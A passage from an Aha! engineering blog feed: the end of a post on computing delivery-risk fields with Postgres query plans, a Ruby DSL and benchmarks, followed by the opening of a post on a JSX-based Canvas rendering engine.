style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;014&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; loops&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                     -&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  Seq Scan &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; record_risks rf_features_rr  (cost&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;00&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; width&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) (actual &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;time=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;006&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;008&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; loops&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                           Filter&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: ((riskable_type)::&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;Feature&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                           Rows&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Removed &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;by&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; Filter&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;         -&gt;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  Index&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Scan &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;using&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; releases_pkey &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; releases rf_features_releases  (cost&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;14&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; width&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) (actual &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;time=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;009&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;009&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; loops&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;               Index&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Cond: (id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; features&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;release_id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;         SubPlan &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;           -&gt;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  Index&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Scan &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;using&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; workflow_statuses_pkey &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; workflow_statuses ws  (cost&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;28&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; width&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) (actual &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;time=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;012&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;013&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; loops&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                 Index&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Cond: (id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; features&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;workflow_status_id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                 Filter&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;COALESCE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(internal_meaning, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;         SubPlan &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;           -&gt;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  Index&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Scan &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;using&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; workflow_statuses_pkey &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; workflow_statuses ws_1  (cost&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;28&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; width&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) (&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;never&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; executed)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                 Index&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Cond: (id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; features&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;workflow_status_id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;                 Filter&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;COALESCE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(internal_meaning, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Planning &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;Time&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;554&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Execution &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;Time&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;338&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;27&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; rows&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;OK! We cranked up the complexity quite a bit there, but the execution time is still well within reason (at least while running Postgres 14 on an M1 Pro laptop). These experiments gave us the confidence to know that this was a viable approach — but that we should still be cautious about loading delivery risks that are not strictly necessary.&lt;/p&gt;
&lt;h3&gt;When do risks load?&lt;/h3&gt;
&lt;p&gt;There are three places you can see delivery risks within Aha! software:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In the drawer for a record (if the delivery risk item has been added to the layout)&lt;/li&gt;
&lt;li&gt;On the card for a record (if one of the delivery risk&apos;s fields has been added to the card layout)&lt;/li&gt;
&lt;li&gt;In a report (if you&apos;re filtering by delivery risk or if you&apos;ve added a delivery risk column to the report)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Notice that all of these places are conditional — they all have a component that makes loading delivery risk information optional. We can use this to help avoid paying the performance penalty when loading these views. Due to the way our drawer layouts are implemented, the data just naturally isn&apos;t loaded if the delivery risks item isn&apos;t in the layout. So this would happen for free.&lt;/p&gt;
&lt;p&gt;Similarly for the card data, when we&apos;re generating the query to load the data required to render the board, we have access to the card layout and can make the decision on whether we need to include the risk factors or not.&lt;/p&gt;
&lt;p&gt;Reporting is actually the most optimal case in that we have enough information to even know exactly which risk factors need to be loaded. When you select a delivery risk in a filter or add a delivery risk column to the report, the SQL for just that risk factor can be dynamically inserted into our query builder so performance is as optimal as possible.&lt;/p&gt;
&lt;h2&gt;The final implementation&lt;/h2&gt;
&lt;p&gt;After reviewing the options available to us, the only solution that ticked all of our boxes was calculating the fields for each object as they load using the &lt;code&gt;calculated_attributes&lt;/code&gt; gem.&lt;/p&gt;
&lt;p&gt;We were able to have proof of concepts for most of the other delivery risks pretty quickly and started to abstract them into a concern and build a DSL to clean up their definitions.&lt;/p&gt;
&lt;p&gt;Defining a new risk is now as simple as calling &lt;code&gt;risk_factor&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;risk_factor &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:no_assignee&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, arel_table[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:assigned_to_user_id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;].eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;risk_factor &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:not_scheduled&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, arel_table[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:start_date&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;].eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).and(arel_table[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:due_date&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;].eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)), &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;except:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Requirement&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;risk_factor&lt;/code&gt; method tracks the risk factors in an object (&lt;code&gt;active_risk_factors&lt;/code&gt;) on the class, allowing us to build a pre-defined scope to handle calling &lt;code&gt;calculated&lt;/code&gt; with all of the delivery risks automatically passed as a parameter:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;scope &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:with_risk_factors&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  HasRiskFactors&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.joins_for_class(klass).reduce(current_scope &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; self&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |acc, join|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    acc.joins(join)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.calculated(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;active_risk_factors.keys)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, whenever we&apos;d like to load a feature with the active risk factors, it&apos;s as simple as:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Feature&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.with_risk_factors.find(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;DEMO-123&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).risk_factors&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;=&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:no_assignee&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; =&gt; &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:not_scheduled&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; =&gt; &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Local benchmarking and performance&lt;/h3&gt;
&lt;p&gt;Here are some benchmarks done on loading features with and without delivery risks, performed on my MacBook Pro (M1 Pro CPU) using Postgres 14. The units are in seconds. All here means &quot;with no limit,&quot; and that is 8998 features on my local database. Each row was run for 10,000 iterations and averaged. This also includes all 17 of the &lt;a href=&quot;https://www.aha.io/support/develop/develop/customizations/manage-at-risk-work&quot;&gt;available delivery risks&lt;/a&gt; in Aha! — so the query and plan are even more complex than the examples above.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                               user     system      total        real&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;1    Feature               0.021903   0.000080   0.021983 (  0.022046)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;10   Features              0.019104   0.000032   0.019136 (  0.019164)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;100  Features              0.018840   0.000026   0.018866 (  0.018901)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;1000 Features              0.018174   0.000018   0.018192 (  0.018203)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;All  Features              0.017293   0.000034   0.017327 (  0.017340)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;1    Feature with risks    0.617923   0.000863   0.618786 (  0.619724)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;10   Feature with risks    0.601085   0.001258   0.602343 (  0.603338)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;100  Feature with risks    0.588217   0.000949   0.589166 (  0.590493)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;1000 Feature with risks    0.589340   0.000919   0.590259 (  0.591504)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;All  Feature with risks    0.589590   0.000745   0.590335 (  0.591605)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From this, we can see that loading the delivery risks is meaningfully slower. However, we should also take into account the complexity of the additional data being requested. What is potentially the most interesting insight here is that there doesn&apos;t appear to be any correlation between the number of records loaded and the query time: a testament to Postgres&apos; raw performance. This insight gives us confidence that we&apos;re going to have stable performance on even the largest workflow boards or reports.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Aha! is happy, healthy, and hiring. Join us!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This feature took a lot of tinkering and guidance from other engineers. Without such a knowledgeable and helpful team, I would not have arrived at this clean solution. If you want to build lovable software with this talented and growing team, &lt;a href=&quot;https://www.aha.io/company/careers/current-openings?category=engineering&quot;&gt;apply for an open role&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Building a dynamic Canvas rendering engine using JSX]]></title><description><![CDATA[Our product team is busy adding many great new features to Aha! Whiteboards and Aha! Knowledge — including wireframes, voting, and…]]></description><link>https://www.aha.io/engineering/articles/canvasx</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/canvasx</guid><dc:creator><![CDATA[Percy Hanna]]></dc:creator><pubDate>Thu, 14 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;style&gt;
  img {
    max-height: 400px;
    margin-right: auto;
    margin-left: auto;
  }

  table, th, td {
    font-family: Red Hat Display, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif;
    border: 1px solid var(--aha-gray-400);
  }

  th {
    background-color: var(--aha-gray-100);
    color: var(--aha-gray-900);
    text-align: left;
  }

  td img {
    margin: 0.5em auto !important;
  }
&lt;/style&gt;
&lt;p&gt;Our product team is busy adding many great new features to &lt;a href=&quot;https://www.aha.io/whiteboards/overview&quot;&gt;Aha! Whiteboards&lt;/a&gt; and &lt;a href=&quot;https://www.aha.io/knowledge/overview&quot;&gt;Aha! Knowledge&lt;/a&gt; — including wireframes, voting, and improvements to viewing &lt;a href=&quot;https://www.aha.io/roadmaps/overview&quot;&gt;Aha! Roadmaps&lt;/a&gt; data within a whiteboard. We added all of this functionality in just the last few months, and we are busy building even more features that will deliver product value to our users.&lt;/p&gt;
&lt;p&gt;As the engineering lead for &lt;a href=&quot;https://www.aha.io/blog/aha-expands-product-development-suite-with-new-whiteboarding-and-knowledge-base-tools&quot;&gt;these products&lt;/a&gt;, I saw all of the above features (and others) on our product roadmap and had a few thoughts:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;How can we easily build features that rely on dynamic content and real-time user collaboration?&lt;/li&gt;
&lt;li&gt;How can we do that on Canvas? Rendering dynamic content on Canvas is complicated — or at least, it&apos;s much more difficult than using HTML and React, which is how we have built most interactive features at Aha!&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;The challenge&lt;/h2&gt;
